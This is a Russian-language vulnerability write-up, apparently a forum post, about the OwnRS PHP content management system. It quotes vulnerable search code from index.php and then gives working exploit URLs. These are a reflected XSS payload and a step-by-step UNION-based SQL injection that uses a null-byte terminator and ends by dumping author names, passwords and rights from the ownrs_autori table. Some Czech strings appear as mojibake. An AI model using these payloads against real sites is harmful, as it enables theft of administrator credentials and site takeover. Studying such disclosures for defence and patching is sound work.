OwnRS
http://sourceforge.net/projects/ownrs/
index.php
PHP код:
$hledany_vyraz = $_GET["hledej"];
...
if($hledany_vyraz!="")
$pocet=MySQL_Query("SELECT count(id) FROM ".$db_prefix."clanky WHERE (nepublikovat = 0) AND (datum<now()) AND MATCH(nadpis) AGAINST('$hledany_vyraz')
OR MATCH(popis) AGAINST('$hledany_vyraz')
OR MATCH(clanek) AGAINST('$hledany_vyraz')
ORDER BY (10 * MATCH(nadpis) AGAINST('$hledany_vyraz')
+ MATCH(popis) AGAINST('$hledany_vyraz')
+ MATCH(clanek) AGAINST ('$hledany_vyraz'))");
...
if($hledany_vyraz!=""){
$vysledek=mysql_query("SELECT *, DATE_FORMAT(`datum`, '%d.%m.%Y') AS `casformat` from ".$db_prefix."clanky WHERE (nepublikovat = 0) AND (datum<now()) AND (datum<now()) AND MATCH(nadpis) AGAINST('$hledany_vyraz')
OR MATCH(popis) AGAINST('$hledany_vyraz')
OR MATCH(clanek) AGAINST('$hledany_vyraz')
ORDER BY (10 * MATCH(nadpis) AGAINST('$hledany_vyraz')
+ MATCH(popis) AGAINST('$hledany_vyraz')
+ MATCH(clanek) AGAINST ('$hledany_vyraz')) LIMIT $strana, $max") or die ("Chyba pшi prбci s databбzн");
$Obsah = '<h1>Vyhledбvбnн vэrazu '.$hledany_vyraz.'</h1>
<strong> Pro vэraz '.$hledany_vyraz.' nalezeny tyto zбznamy: </strong><br />';
$TitleWebu = 'Vyhledбvбnн vэrazu '.$hledany_vyraz.' - '.$TitleWebu;
}
$x=0;
//Sosбm data z databбze
while ($zaznam=MySQL_Fetch_Array($vysledek)) {
$zobrazeni = $zaznam['hint'];
$nadpis_bez_diakritiky = seourl($zaznam['nadpis']);
//Jakou verzi odkazщ vybrat?
if($pekna_url != 0){
$odkaz = $zaznam["id"].'-'.$nadpis_bez_diakritiky.'.html';
}else{
$odkaz = 'clanek.php?id='.$zaznam["id"].'-'.$nadpis_bez_diakritiky;
}
$id2 = $zaznam['kategorie'];
$casformat = $zaznam["casformat"];
$autor = $zaznam['autor'];
$jmeno_autora= mysql_query("SELECT nick FROM ".$db_prefix."autori WHERE id = '".$autor."'");
while($zaznam_autor = mysql_fetch_array($jmeno_autora)){
$nazev_autora = $zaznam_autor['nick'];
//poинtбnн poиtu komentбшщ a nбslednэ vэpis slova v rщznйm pбdм podle poиtu
$dotaz = "SELECT count(id) AS pocet FROM ".$db_prefix."komentare WHERE idclanku ='".$zaznam["id"]."'";
if($v = mysql_query($dotaz)) {
$r = mysql_fetch_assoc($v);
$komentare=$r["pocet"];
}else{echo "Chyba pшi prбci s databбzн";}
if($komentare!=0){
if($komentare<2)
$komentare_vypis = '<a href="'.$odkaz.'#komentare">1 komentбш</a>';
else if(($komentare<5)&&($komentare>1))
$komentare_vypis = '<a href="'.$odkaz.'#komentare">'.$komentare.' komentбшe</a>';
else if($komentare>4)
$komentare_vypis = '<a href="'.$odkaz.'#komentare">'.$komentare.' komentбшщ</a>';
}else
$komentare_vypis = '<a href="'.$odkaz.'#komentare">Rбdnэ komentбш</a>';
//Zji№>ovбnн nбzvu kategorie a pшezdнvky autora
$nazev_kategorie = mysql_query("SELECT nazev FROM ".$db_prefix."kategorie WHERE id = '".$id2."'");
while ($udaj = mysql_fetch_array($nazev_kategorie))
$jmeno_kategorie = $udaj['nazev'];
уязвим параметр $hledany_vyraz = $_GET["hledej"];
Passive XSS
http://localhost/Own_rs/index.php?hledej=1%3Cscript%3Ealert(121212)%3C/script%3E
SQL
mq=off
http://localhost/Own_rs/index.php?hledej=')+union+select+11,12,13,14,15,16 ,17,18,19,110,111,112;%00+--+
Запрос $vysledek=mysql_query("SELECT *, DATE_FORMAT(`datum`, '%d.%m.%Y') AS `casformat ...
записан в несколько строк, поэтому комментарии вида +--+ дают ошибку,
ставим более жесткий терминатор ;%00+--+.
Сработал $vysledek=mysql_query("SELECT ...
но это Blind SQL, попробуем получить вывод.
$autor = $zaznam['autor'];
$jmeno_autora= mysql_query("SELECT nick FROM ".$db_prefix."autori WHERE id = '".$autor."'");
$zaznam['autor'] берется из запроса $vysledek (поле с числом 17), сформируем иньекцию.
http://localhost/Own_rs/index.php?hledej=')+union+select+11,12,13,14,15,16 ,%2217'+or+1=1+limit+0,1+--+%22,18,19,110,111,112;%00+--+
появился вывод в полях 12, 13, 112
http://localhost/Own_rs/index.php?hledej=')+union+select+11,version(),conc at_ws(0x203a20,jmeno,heslo,prava),14,15,16,%2217'+ or+1=1+limit+0,1+--+%22,18,19,110,111,database()+from+ownrs_autori;%0 0+--+